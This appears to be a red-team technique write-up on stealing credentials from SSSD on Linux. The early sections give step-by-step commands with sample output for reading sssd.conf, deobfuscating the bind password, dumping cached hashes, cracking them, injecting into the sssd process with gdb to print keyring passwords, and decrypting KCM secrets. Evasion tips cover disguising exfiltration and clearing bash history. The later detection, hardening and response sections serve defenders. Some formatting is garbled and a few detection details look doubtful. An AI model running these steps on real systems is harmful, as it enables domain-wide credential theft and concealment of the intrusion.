| Attribute | Details |
|---|---|
| Technique ID | CA-UNSC-002 |
| MITRE ATT&CK v18.1 | T1552.001 - Credentials In Files |
| Tactic | Credential Access |
| Platforms | Linux/Unix |
| Severity | Critical |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-08 |
| Affected Versions | SSSD 1.9.0 - 2.9.x (all versions vulnerable) |
| Patched In | N/A (design limitation, requires configuration hardening) |
| Author | SERVTEP – Artur Pchelnikau |
Note: Sections 6 (Atomic Red Team) and 8 (Splunk Detection) not included. Section 6 excluded because no published Atomic Red Team test exists for SSSD harvesting. Section 8 excluded because this is an on-premises Linux technique with no cloud-native logging that Splunk would typically index. All section numbers have been dynamically renumbered based on applicability.
The System Security Services Daemon (SSSD) is a critical identity provider on Linux/Unix systems that authenticate against centralized directories such as Active Directory and LDAP. When configured for credential caching—a feature that enables offline authentication for mobile and remote systems—SSSD stores credential material in multiple locations on disk and in kernel keyrings. An attacker with local file system access (or local privilege escalation leading to root) can extract plaintext passwords, credential hashes, and service account credentials from three distinct attack surfaces: the SSSD configuration file (/etc/sssd/sssd.conf), the LDB credential cache database (/var/lib/sss/db/), and the kernel keyring system (when krb5_store_password_if_offline = true).
Attack Surface: Configuration files, credential cache databases, kernel keyrings, and LDB secrets files on Linux systems running SSSD with caching enabled.
Business Impact: Complete compromise of all cached Active Directory and LDAP identities. An attacker harvesting SSSD credentials gains lateral movement across the entire network using legitimate domain accounts, domain service accounts, and machine accounts. This enables domain escalation, persistence mechanisms (golden tickets, silver tickets), and wholesale exfiltration of sensitive data. The impact is often undetected for extended periods because the attacker is using legitimate credentials.
Technical Context: Exploitation requires local file system access or the ability to achieve local privilege escalation to root. The extraction itself is trivial (configuration file is plaintext or trivially deobfuscated; cache databases require standard tools like tdbdump). Detection is difficult because the attacker’s authentication activity blends with normal user and service behavior. Reversibility is zero—extracted credentials cannot be “un-stolen,” only rotated after detection.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.2.1 | Ensure permissions on /etc/sssd/sssd.conf are restricted (should be 0600) |
| DISA STIG RHEL 9 | V-258133 | Must prohibit use of cached authenticators after one day |
| DISA STIG RHEL 8 | V-230376 | Must prohibit use of cached authenticators after one day |
| NIST 800-53 | IA-2 | Identification and Authentication (Organizational Users) |
| NIST 800-53 | IA-5 | Authenticator Management |
| NIST 800-53 | SC-28 | Protection of Information at Rest |
| GDPR | Art. 32 | Security of Processing (encryption, access control) |
| ISO 27001 | A.10.1.1 | Cryptographic Controls |
| ISO 27001 | A.9.2.3 | Management of Privileged Access Rights |
| NIS2 | Art. 21 | Cyber Risk Management Measures (access control, monitoring) |
Required Privileges: Local user with file system read access to /etc/sssd/ and /var/lib/sss/, OR root/sudo privilege for kernel keyring dumping via GDB.
Required Access:
Supported Versions:
Exploitation Requirements:
systemctl status sssd)cache_credentials = true in /etc/sssd/sssd.confkrb5_store_password_if_offline = true (non-default, dangerous setting)Check if SSSD is installed and running:
systemctl status sssd
ps aux | grep sssd
which sss_cache
What to Look For:
/etc/sssd/sssd.conf confirms configuration existsCheck SSSD cache configuration:
sudo cat /etc/sssd/sssd.conf | grep -E "(cache_credentials|krb5_store_password_if_offline|entry_cache_timeout|offline_credentials_expiration)"
What to Look For:
cache_credentials = true - Credentials are cached locally (DANGEROUS)krb5_store_password_if_offline = true - Plaintext passwords stored in kernel keyring (CRITICAL RISK)offline_credentials_expiration = 0 - Cache never expires (permanent threat)entry_cache_timeout = 5400 (default) - Cache valid for 90 minutesCheck if credential cache files exist:
ls -la /var/lib/sss/db/
du -sh /var/lib/sss/db/
sudo file /var/lib/sss/db/*.ldb
What to Look For:
cache_*.ldb files indicates cached user dataCheck kernel keyring for stored credentials (requires root):
sudo cat /proc/$(pgrep -u 0 sssd | head -1)/keys
Version Note: On RHEL 7/CentOS 7 and later, the default keyring provider is KCM (Kerberos Credential Manager), which stores credentials in /var/lib/sss/secrets/secrets.ldb (encrypted) rather than in the kernel keyring. However, if SSSD is configured with krb5_store_password_if_offline = true, plaintext passwords ARE stored in the session/process keyring.
Command (RHEL 6-7, SSSD 1.x):
sudo cat /etc/sssd/sssd.conf | head -20
Command (RHEL 8-9, SSSD 2.x with KCM):
sudo cat /etc/sssd/sssd.conf | grep -A 10 "\[domain/"
Supported Versions: SSSD 1.x - 2.x (all versions)
Objective: Locate the SSSD configuration file and verify it contains credential material.
Command:
sudo cat /etc/sssd/sssd.conf
Expected Output (Example):
[sssd]
config_file_version = 2
domains = example.com, ipa.local
services = nss, pam
[domain/example.com]
id_provider = ad
auth_provider = ad
access_provider = ad
ad_server = dc1.example.com
ad_domain = example.com
use_fully_qualified_names = True
cache_credentials = True
krb5_store_password_if_offline = True
[domain/ipa.local]
id_provider = ipa
ipa_server = ipa.example.com
ldap_uri = ldap://ldap.example.com
ldap_default_authtok_type = obfuscated_password
ldap_default_authtok = AAAQABOzVAjf9KgUyIxTw3A+HUfbig7N1+L0qtY4xAULt2GYHFc1B3CBWGAE9ArooklBkpxQtROiyCGDQH+VzLHYmiIAAQID
What This Means:
ldap_default_authtok field contains an obfuscated (base64-encoded) password used by SSSD to bind to the LDAP directorycache_credentials = True setting indicates credentials are cached locallykrb5_store_password_if_offline = True setting indicates plaintext passwords are stored in the kernel keyringOpSec & Evasion:
/etc/sssd/sssd.conf as a non-root user will be denied (file is 0600 root:root), but can be read once root is obtained/etc/sssd/ directory reads will appear in file access audits (auditd)/tmp to avoid repeated access logs; use base64 encoding for exfiltration to avoid detection of credential strings in network logsTroubleshooting:
Permission denied
/etc/sssd/conf.d/ for configuration snippetsReferences & Proofs:
Objective: Extract the obfuscated LDAP password and convert it to plaintext.
Identifying Obfuscated Credentials:
grep "ldap_default_authtok" /etc/sssd/sssd.conf
Expected Output:
ldap_default_authtok = AAAQABOzVAjf9KgUyIxTw3A+HUfbig7N1+L0qtY4xAULt2GYHFc1B3CBWGAE9ArooklBkpxQtROiyCGDQH+VzLHYmiIAAQID
Deobfuscate using sss_deobfuscate:
# Download the tool
git clone https://github.com/mludvig/sss_deobfuscate.git
cd sss_deobfuscate
# Deobfuscate the credential
./sss_deobfuscate AAAQABOzVAjf9KgUyIxTw3A+HUfbig7N1+L0qtY4xAULt2GYHFc1B3CBWGAE9ArooklBkpxQtROiyCGDQH+VzLHYmiIAAQID
Expected Output:
LdapServicePassword123!
What This Means:
OpSec & Evasion:
sss_deobfuscate on the target system; extract the obfuscated string and deobfuscate on an attacker-controlled machineTroubleshooting:
sss_deobfuscate: command not found
echo -n "..." before passing to deobfuscateReferences & Proofs:
Supported Versions: SSSD 1.x - 2.x (all versions)
Objective: Export the LDB database files containing cached credential hashes and identity information.
Locate cache files:
sudo ls -la /var/lib/sss/db/
sudo file /var/lib/sss/db/*.ldb
Expected Output:
-rw------- 1 root root 1572864 Jan 8 10:34 cache_example.com.ldb
-rw------- 1 root root 2097152 Jan 8 10:34 cache_ipa.local.ldb
-rw------- 1 root root 1048576 Jan 8 10:34 timestamps_example.com.ldb
What This Means:
cache_DOMAIN.ldb fileObjective: Parse the LDB database and extract cached credential hashes.
Check if tdbdump is installed:
which tdbdump
If not installed:
# Ubuntu/Debian
sudo apt-get install tdb-tools
# RHEL/CentOS
sudo yum install tdb-tools
Extract hashes from cache:
sudo tdbdump /var/lib/sss/db/cache_example.com.ldb
Expected Output (truncated):
[key]: CN=john.doe,CN=users,DC=example,DC=com
[data]: {
uid:10001
gidNumber:513
name:john.doe@example.com
cachedPassword: $6$rounds=656000$XXXXXXXX$YYYYYYYYYYYYYY... (SHA-512 crypt hash)
}
[key]: CN=Domain Admins,CN=builtin,DC=example,DC=com
[data]: {
gidNumber:512
name:Domain Admins@example.com
members: CN=Administrator,CN=users,DC=example,DC=com
}
What This Means:
cachedPassword field contains a salted SHA-512 hash of the user’s passwordOpSec & Evasion:
tdbdump on the target system will be logged in auditd if file access auditing is enabled/tmp and use tdbdump on a single read, then delete the temp copy/var/lib/sss/db/ directory and exfiltrate for offline analysisObjective: Convert cached hashes to plaintext passwords.
Using Hashcat (GPU acceleration):
hashcat -m 1800 hashes.txt wordlist.txt
Using John the Ripper:
john hashes.txt --format=sha512crypt --wordlist=wordlist.txt
Expected Success Rate: 30-60% on enterprise networks (password reuse, weak passwords common in legacy domains)
References & Proofs:
Supported Versions: SSSD 1.x - 2.x (when krb5_store_password_if_offline = true)
Preconditions: This method only works if the SSSD configuration contains krb5_store_password_if_offline = true, which explicitly enables plaintext password storage in the kernel keyring. This is a non-default, explicitly dangerous configuration option.
Objective: Locate the SSSD process and determine if plaintext credentials are stored in its session keyring.
Get SSSD process PID:
ps aux | grep sssd | grep -v grep
sudo pgrep -u 0 sssd | head -1
Expected Output:
root 1234 1 0 10:00 ? Ss 0:05 /usr/sbin/sssd -i
Verify krb5_store_password_if_offline is enabled:
sudo grep "krb5_store_password_if_offline" /etc/sssd/sssd.conf
Expected Output (if vulnerable):
krb5_store_password_if_offline = true
What This Means:
Objective: Inject a payload into the SSSD process to dump all keys from its keyring.
Method A: Using GDB (Interactive)
Attach to SSSD process:
sudo gdb -p $(pgrep -u 0 sssd | head -1)
(gdb) call system("keyctl show > /tmp/keyring_dump.txt")
(gdb) quit
cat /tmp/keyring_dump.txt
Expected Output:
Session Keyring
237034099 --alswrv 0 0 keyring: _ses
689325199 --alswrv 0 0 \_ user: john.doe@example.com
591823745 --alswrv 0 0 \_ user: admin@example.com
Extract plaintext password from specific key:
sudo gdb -p $(pgrep -u 0 sssd | head -1)
(gdb) call system("keyctl print 689325199 > /tmp/password.txt")
(gdb) quit
cat /tmp/password.txt
Expected Output:
P@ssw0rd123!
What This Means:
john.doe@example.com has been extractedMethod B: Using keydump Tool (Automated)
Download and compile keydump:
git clone https://github.com/hackliza/keydump.git
cd keydump
make
Execute keydump against SSSD:
ps -o pid --no-headers -C sssd | sed 's/ //g' | sudo ./keydump -
Expected Output:
[PID 1234] Shellcode injected
[PID 1234] /tmp/k_1234 exists, so keys must be dumped!!
ls /tmp/k_1234/
Extract plaintext passwords:
sudo cat /tmp/k_1234/*
OpSec & Evasion:
/tmp/k_* directories after extraction; clear bash historyTroubleshooting:
ptrace: Operation not permitted
echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope (temporarily allows ptrace)/etc/sysctl.d/10-ptrace.conf and set kernel.yama.ptrace_scope = 0 (DANGEROUS)gdb: command not found
sudo apt-get install gdb (Debian/Ubuntu) or sudo yum install gdb (RHEL/CentOS)References & Proofs:
Supported Versions: SSSD 2.x (default credential manager on RHEL 8+, Ubuntu 20.04+)
Preconditions: KCM (Kerberos Credential Manager) is the default in modern SSSD versions. Credentials stored in /var/lib/sss/secrets/secrets.ldb are encrypted with a master key stored in .secrets.mkey.
Objective: Export the encrypted secrets database and master key for offline decryption.
Locate secrets files:
sudo ls -la /var/lib/sss/secrets/
Expected Output:
-rw------- 1 root root 8192 Jan 8 10:34 secrets.ldb
-rw------- 1 root root 32 Jan 8 10:34 .secrets.mkey
Copy secrets database and key:
sudo tar czf /tmp/sssd_secrets.tar.gz /var/lib/sss/secrets/
sudo chown $USER /tmp/sssd_secrets.tar.gz
tar tzf /tmp/sssd_secrets.tar.gz
What This Means:
secrets.ldb file contains encrypted Kerberos credentials, Kerberos service accounts, and cached LDAP credentials.secrets.mkey file contains the encryption key (32 bytes)Objective: Decrypt the secrets database using the master key.
Download SSSDKCMExtractor (FireEye tool):
git clone https://github.com/fireeye/SSSDKCMExtractor.git
cd SSSDKCMExtractor
pip install pycryptodomex python-ldb
Extract and decrypt:
# Copy the extracted files
cp /path/to/extracted/secrets.ldb .
cp /path/to/extracted/.secrets.mkey .
# Run extractor
python3 SSSDKCMExtractor.py --database secrets.ldb --key .secrets.mkey
Expected Output:
[+] Loading database...
[+] Decrypting secrets...
[*] Service Account: svc-sssd@example.com | Hash: XXXXX | Password: S3cr3t!
[*] User: john.doe@example.com | TGT: krb5 ticket blob...
[*] User: admin@example.com | TGT: krb5 ticket blob...
What This Means:
Converting Extracted TGT to CCACHE:
# Use bifrost (macOS) or other tools to convert the TGT blob to a usable .ccache file
# Then use with:
export KRB5CCNAME=/path/to/ticket.ccache
kinit -c $KRB5CCNAME <username>
References & Proofs:
While no official Atomic Red Team test exists for SSSD harvesting, the following manual simulation replicates the attack:
Objective: Simulate extraction of SSSD configuration file.
Test Command:
# Step 1: Check file permissions
stat /etc/sssd/sssd.conf
# Step 2: Read configuration (requires root)
sudo cat /etc/sssd/sssd.conf > /tmp/sssd.conf.bak
# Step 3: Extract credential fields
grep -i "authtok\|password" /tmp/sssd.conf.bak
Success Criteria:
ldap_default_authtok or plaintext passwordsCleanup Command:
rm /tmp/sssd.conf.bak
Objective: Simulate extraction of credential hashes from SSSD cache.
Test Command:
# Step 1: Install tdbdump if missing
sudo apt-get install tdb-tools -y
# Step 2: List cache files
sudo ls /var/lib/sss/db/cache_*.ldb
# Step 3: Dump cache (requires root)
sudo tdbdump /var/lib/sss/db/cache_*.ldb 2>/dev/null | head -50
Success Criteria:
tdbdump extracts user records with salted hashes$6$rounds=...)Cleanup Command:
# No changes made; no cleanup needed
Objective: Simulate plaintext password extraction from kernel keyring.
Test Command (Requires root and krb5_store_password_if_offline=true):
# Step 1: Verify configuration
sudo grep "krb5_store_password_if_offline" /etc/sssd/sssd.conf
# Step 2: Trigger an authentication (if needed)
# SSH to the system with a domain user account
# Step 3: Get SSSD PID
SSSD_PID=$(sudo pgrep -u 0 sssd | head -1)
echo "SSSD PID: $SSSD_PID"
# Step 4: Dump keyring (requires GDB)
sudo gdb -p $SSSD_PID -ex "call system(\"keyctl show | head -20\")" -ex "quit" 2>/dev/null
Success Criteria:
krb5_store_password_if_offline is set to trueCleanup Command:
# Remove any temporary keyring dumps
rm -f /tmp/keyring_dump.txt /tmp/password.txt /tmp/k_*
References: Atomic Red Team T1552.001
Source: GitHub - mludvig/sss_deobfuscate
Version: 1.0+
Supported Platforms: Linux (any distribution with Python)
Version-Specific Notes:
Installation:
git clone https://github.com/mludvig/sss_deobfuscate.git
cd sss_deobfuscate
chmod +x sss_deobfuscate
Usage:
./sss_deobfuscate AAAQABOzVAjf9KgUyIxTw3A+HUfbig7N1+L0qtY4xAULt2GYHFc1B3CBWGAE9ArooklBkpxQtROiyCGDQH+VzLHYmiIAAQID
Expected Output:
LdapServicePassword123!
Source: GitHub - ricardojoserf/SSSD-creds
Version: Latest
Supported Platforms: Linux (Bash script)
Installation:
git clone https://github.com/ricardojoserf/SSSD-creds.git
cd SSSD-creds
Usage:
sudo bash analyze.sh /var/lib/sss/db/
Expected Output:
[+] Found cache_example.com.ldb
[+] Extracting hashes...
john.doe:$6$rounds=656000$abcd1234$XXXXX...
admin:$6$rounds=656000$efgh5678$YYYYY...
Optional: Install tdbdump for automated extraction:
apt-get install tdb-tools
bash analyze.sh /var/lib/sss/db/
Source: GitHub - hackliza/keydump
Version: Latest
Supported Platforms: Linux (requires x86_64 architecture)
Version-Specific Notes:
libkeyutils development librariesInstallation:
git clone https://github.com/hackliza/keydump.git
cd keydump
make
Usage:
# Find SSSD process ID
SSSD_PID=$(pgrep -u 0 sssd | head -1)
# Run keydump
sudo ./keydump $SSSD_PID
# Extract plaintext passwords
sudo cat /tmp/k_${SSSD_PID}/*
Source: GitHub - fireeye/SSSDKCMExtractor
Version: Latest
Supported Platforms: Linux/macOS (Python 3)
Installation:
git clone https://github.com/fireeye/SSSDKCMExtractor.git
cd SSSDKCMExtractor
pip install pycryptodomex python-ldb
Usage:
python3 SSSDKCMExtractor.py --database /var/lib/sss/secrets/secrets.ldb --key /var/lib/sss/secrets/.secrets.mkey
Expected Output:
[+] Decrypting service account credentials...
[+] Extracting Kerberos TGTs...
Source: TDB Tools package (standard Linux tools)
Installation:
# Ubuntu/Debian
apt-get install tdb-tools
# RHEL/CentOS
yum install tdb-tools
Usage:
tdbdump /var/lib/sss/db/cache_*.ldb
Rule Configuration:
SecurityEvent (if Defender for Endpoint enabled) or Syslog (auditd logs)ObjectName, AccessMask, SubjectUserName, TimeGeneratedKQL Query:
SecurityEvent
| where ObjectName contains "/etc/sssd/sssd.conf"
| where AccessMask has "4424" or AccessMask has "2032" // Read/Query access
| where SubjectUserName !in ("SYSTEM", "root", "sssd") // Exclude expected readers
| summarize AccessCount = count() by Computer, SubjectUserName, TimeGenerated
| where AccessCount > 3
| project TimeGenerated, Computer, SubjectUserName, AccessCount
Alternative KQL (Using Syslog):
Syslog
| where ProcessName has "cat" or ProcessName has "grep" or ProcessName has "head"
| where SyslogMessage contains "/etc/sssd/sssd.conf"
| summarize EventCount = count() by Computer, ProcessId, HostIP
| where EventCount > 1
What This Detects:
Manual Configuration Steps (Azure Portal):
Suspicious SSSD Configuration AccessCritical5 minutes30 minutesEnabledRule Configuration:
SecurityEvent or SyslogObjectName, EventID, SubjectUserNameKQL Query (Auditd-based):
Syslog
| where ProcessName has "tdbdump" or ProcessName has "ldb" or ProcessName has "sqlite3"
| where SyslogMessage contains "/var/lib/sss/db" or SyslogMessage contains "cache_*.ldb"
| summarize EventCount = count() by Computer, ProcessId, User = iff(ProcessName has "sudo", "root", User)
| where EventCount >= 1
| project Computer, ProcessId, User, EventCount
KQL Query (Splunk/Linux auditd via CommonSecurityLog or CustomLog):
CommonSecurityLog
| where DeviceAction contains "open" or DeviceAction contains "read"
| where FilePath contains "/var/lib/sss/db/" or FileName contains "cache_"
| where UserName !in ("root", "sssd")
| project TimeGenerated, SourceIP, UserName, DeviceAction, FilePath
What This Detects:
/var/lib/sss/db/Manual Configuration Steps (PowerShell):
Connect-AzAccount
$ResourceGroup = "YourResourceGroup"
$WorkspaceName = "YourSentinelWorkspace"
$query = @"
Syslog
| where ProcessName has "tdbdump" or ProcessName contains "ldb"
| where SyslogMessage contains "/var/lib/sss/db"
"@
New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup `
-WorkspaceName $WorkspaceName `
-DisplayName "SSSD Cache Database Access Attempt" `
-Query $query `
-Severity "High" `
-Enabled $true
Rule Configuration:
SecurityEvent or Syslog (with process tracing enabled)ProcessName, ProcessId, ParentProcessId, CommandLineKQL Query:
SecurityEvent
| where ProcessName contains "gdb" or CommandLine contains "ptrace"
| where (CommandLine contains "-p " and CommandLine contains "sssd") or CommandLine contains "keyctl"
| project TimeGenerated, Computer, ProcessId, CommandLine, SubjectUserName
| summarize EventCount = count() by Computer, SubjectUserName
| where EventCount >= 1
Syslog Alternative:
Syslog
| where ProcessName contains "gdb"
| where SyslogMessage contains "sssd" or SyslogMessage contains "keyctl"
| project TimeGenerated, SourceIP, Facility, SyslogMessage
What This Detects:
keyctl for keyring manipulationNote: SSSD is a Linux/Unix technology and does not generate Windows Event Log entries. However, if a Windows system is monitoring a Linux system (e.g., via WMI, remote syslog forwarding, or EDR agents), the Windows Security Log would record remote access to the Linux file system. This section is not applicable for native SSSD attacks.
Minimum Sysmon Version: 13.0+ with Linux support (Sysmon for Linux)
Supported Platforms: Linux (with Sysmon for Linux agent installed)
Sysmon XML Config Snippet:
<!-- Detect file access to SSSD configuration and cache -->
<RuleGroup name="SSSD" groupRelation="or">
<FileCreate onmatch="include">
<TargetFilename condition="contains">/etc/sssd/</TargetFilename>
<TargetFilename condition="contains">/var/lib/sss/</TargetFilename>
</FileCreate>
<FileAccess onmatch="include">
<TargetFilename condition="contains">/etc/sssd/sssd.conf</TargetFilename>
<TargetFilename condition="contains">/var/lib/sss/db/</TargetFilename>
<TargetFilename condition="contains">/var/lib/sss/secrets/</TargetFilename>
</FileAccess>
<ProcessCreate onmatch="include">
<CommandLine condition="contains">tdbdump</CommandLine>
<CommandLine condition="contains">keyctl</CommandLine>
<CommandLine condition="contains">gdb</CommandLine>
<CommandLine condition="contains">sss_deobfuscate</CommandLine>
</ProcessCreate>
</RuleGroup>
Manual Configuration Steps:
Download Sysmon for Linux from Microsoft Sysinternals
Create a configuration file sysmon-config.xml with the XML above
sudo sysmon -accepteula -i sysmon-config.xml
systemctl status sysmon
journalctl -u sysmon -f
sudo cat /var/log/sysmon/events.json | jq '.[] | select(.EventType == "FileAccess" and .TargetFilename | contains("/var/lib/sss"))'
Disable credential caching on sensitive systems (e.g., jump hosts, bastion servers, CI/CD runners): Applies To Versions: SSSD 1.x - 2.x
Edit /etc/sssd/sssd.conf (all domain sections):
[domain/example.com]
cache_credentials = False
Why this helps: Eliminates the on-disk credential cache entirely. Users must authenticate against the AD/LDAP server each time; offline login is not available.
Trade-off: Systems cannot be used offline or when the DC/LDAP server is unreachable. Requires always-on network connectivity or VPN for remote systems.
Restart SSSD:
sudo systemctl restart sssd
sudo sss_cache -E # Clear existing cache
Set strict file permissions on SSSD configuration: Applies To Versions: SSSD 1.x - 2.x (all versions require this)
Verify current permissions:
stat /etc/sssd/sssd.conf
Set correct permissions (should already be 0600):
sudo chmod 600 /etc/sssd/sssd.conf
sudo chown root:root /etc/sssd/sssd.conf
Verify cache directory permissions:
sudo chmod 700 /var/lib/sss/
sudo chown root:root /var/lib/sss/
Why this helps: Prevents non-root users from reading SSSD configuration or cache databases.
EXPLICITLY DISABLE krb5_store_password_if_offline (if set):
Applies To Versions: SSSD 1.x - 2.x
Verify current setting:
sudo grep "krb5_store_password_if_offline" /etc/sssd/sssd.conf
If set to true, change to false:
sudo sed -i 's/krb5_store_password_if_offline = true/krb5_store_password_if_offline = false/' /etc/sssd/sssd.conf
Restart SSSD:
sudo systemctl restart sssd
Why this helps: Prevents plaintext passwords from being stored in the kernel keyring. This is the single most critical mitigation for this technique.
Implement kernel module restrictions to prevent GDB/ptrace attacks: Applies To Versions: All (kernel-level protection)
Edit /etc/sysctl.d/10-ptrace.conf:
# Restrict ptrace to only the system and parent processes
kernel.yama.ptrace_scope = 2
Or, for maximum strictness:
# Only root can ptrace
kernel.yama.ptrace_scope = 3
Apply changes:
sudo sysctl -p /etc/sysctl.d/10-ptrace.conf
Verify:
cat /proc/sys/kernel/yama/ptrace_scope
Why this helps: Prevents attackers from using GDB to attach to SSSD and dump kernel keyrings.
Configure offline credential expiration (if caching must be enabled): Applies To Versions: SSSD 1.x - 2.x
Edit /etc/sssd/sssd.conf:
[domain/example.com]
cache_credentials = True
offline_credentials_expiration = 1 # Expire after 1 day
entry_cache_timeout = 300 # Refresh every 5 minutes when online
Restart SSSD:
sudo systemctl restart sssd
Why this helps: Limits the window of exposure if credentials are stolen. After 1 day offline, cached credentials expire and the system must authenticate online again.
Validation Command:
sudo grep "offline_credentials_expiration\|entry_cache_timeout" /etc/sssd/sssd.conf
Audit SSSD cache clearing regularly: Applies To Versions: SSSD 1.x - 2.x
Clear cache manually:
sudo systemctl stop sssd
sudo rm -rf /var/lib/sss/db/*
sudo systemctl start sssd
Or use sss_cache utility:
sudo sss_cache -E # Invalidate all cache entries
Automate via cron (clear cache nightly):
# Add to /etc/cron.d/sssd-cache-clear
0 23 * * * root /usr/bin/sss_cache -E
Why this helps: Reduces the amount of cached credential material on disk; limits exposure window.
Enable auditd logging for SSSD (detection prerequisite): Applies To Versions: All
Create audit rules in /etc/audit/rules.d/sssd.rules:
# Monitor access to SSSD configuration
-w /etc/sssd/ -p wa -k sssd_config
-w /var/lib/sss/ -p wa -k sssd_cache
-w /var/lib/sss/secrets/ -p wa -k sssd_secrets
# Monitor ptrace on sssd
-a exit,always -F arch=b64 -S ptrace -F exe=/usr/sbin/sssd -k sssd_ptrace
Load rules:
sudo augenrules --load
sudo systemctl restart auditd
Verify:
sudo auditctl -l | grep sssd
sudo apt-get install apparmor apparmor-utils
# Edit /etc/apparmor.d/sssd-files to restrict access
sudo systemctl restart apparmor
RHEL/CentOS (SELinux):
sudo semanage fcontext -a -t sssd_var_lib_t "/var/lib/sss(/.*)?"
sudo restorecon -Rv /var/lib/sss/
sudo systemctl disable sssd
sudo systemctl stop sssd
#!/bin/bash
echo "=== SSSD Security Posture Check ==="
echo ""
echo "[1] Checking credential caching status..."
sudo grep "cache_credentials" /etc/sssd/sssd.conf | head -3
echo ""
echo "[2] Checking plaintext password storage..."
sudo grep "krb5_store_password_if_offline" /etc/sssd/sssd.conf | head -3
echo ""
echo "[3] Checking file permissions..."
stat /etc/sssd/sssd.conf | grep "Access:"
stat /var/lib/sss/ | grep "Access:"
echo ""
echo "[4] Checking offline expiration policy..."
sudo grep "offline_credentials_expiration" /etc/sssd/sssd.conf
echo ""
echo "[5] Checking ptrace restrictions..."
cat /proc/sys/kernel/yama/ptrace_scope
echo ""
echo "[6] Checking auditd rules..."
sudo auditctl -l | grep -i sssd | head -3
echo ""
echo "=== Security Assessment Complete ==="
Expected Output (If Secure):
cache_credentials = False
[No output for krb5_store_password_if_offline]
Access: (0600/-rw-------)
Access: (0700/drwx------)
offline_credentials_expiration = 1
ptrace_scope = 2
[auditd rules shown]
What to Look For:
cache_credentials = False (no credential caching)krb5_store_password_if_offline or set to falseptrace_scope >= 2 (restrict ptrace access)/etc/sssd/sssd.conf (read by non-root users)/var/lib/sss/db/cache_*.ldb (accessed by tools like tdbdump, ldb)/var/lib/sss/secrets/secrets.ldb (exported/copied)/tmp/sssd_secrets.tar.gz (compressed SSSD secrets)/tmp/k_* (keydump output files)gdb -p <SSSD_PID> (GDB attaching to SSSD)keydump (known credential dumping tool)tdbdump /var/lib/sss/db/ (LDB database dumping)sss_deobfuscate (credential deobfuscation)keyctl print (kernel keyring reading)/etc/sssd/sssd.conf in network traffic/var/log/audit/audit.log (auditd events for SSSD file access)/var/log/sssd/ (SSSD debug logs, if enabled)/root/.bash_history (if attacker ran commands as root)/tmp/ containing SSSD filesps output during attachment)/etc/sssd/ in SecurityEvent tablesudo systemctl stop sssd
sudo ip link set <interface> down # Or disconnect network cable
Azure/Cloud:
# Export Security Event Log
sudo auditctl -l > /tmp/audit_rules.txt
sudo tail -10000 /var/log/audit/audit.log > /tmp/audit.log
# Capture SSSD logs
sudo cp -r /var/log/sssd/ /tmp/sssd_logs/
# Preserve SSSD configuration and cache
sudo tar czf /tmp/sssd_evidence.tar.gz /etc/sssd/ /var/lib/sss/
# Capture bash history
sudo cat /root/.bash_history > /tmp/root_history.txt
Manual (Azure):
# Disable credential caching
sudo sed -i 's/cache_credentials = True/cache_credentials = False/' /etc/sssd/sssd.conf
# Clear credential cache
sudo rm -rf /var/lib/sss/db/*
sudo rm -rf /var/lib/sss/secrets/*
# Reset SSSD password (if LDAP service account compromised)
# Contact AD/LDAP administrator to reset svc-sssd password
# Restart SSSD
sudo systemctl restart sssd
# Force password resets for all cached users
# Communicate via email/Slack to affected users
Windows Event ID 4624 (logon) / 4769 (Kerberos ticket) on Windows DCs| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | IA-EXPLOIT-001 | Compromise Linux system via web application or SSH exploitation |
| 2 | Privilege Escalation | PE-EXPLOIT-003 | Escalate from unprivileged user to root (local exploit) |
| 3 | Current Step | [CA-UNSC-002] | Extract SSSD credentials and plaintext passwords |
| 4 | Lateral Movement | LM-AUTH-003 | Use extracted service accounts to pivot to other AD-joined systems |
| 5 | Persistence | CA-KERB-003 | Create golden tickets using extracted AD service account credentials |
| 6 | Impact | [Data Exfiltration via Exchange/SharePoint] | Use compromised domain accounts to access file servers and email |
tdbdump /var/lib/sss/db/cache_*.ldb | grep cachedPasswordReference: Variant of real incident pattern observed in Red Canary threat intelligence (credential harvesting on Linux systems is increasingly common)
keydumpkrb5_store_password_if_offline = true (misconfig)Reference: Similar to real-world MSP compromises (Accellion, Kaseya supply chain incidents)
/etc/sssd/sssd.conf harvestingReference: Real incident pattern (Travis CI, GitHub Actions compromises often originate from stolen CI/CD service account credentials)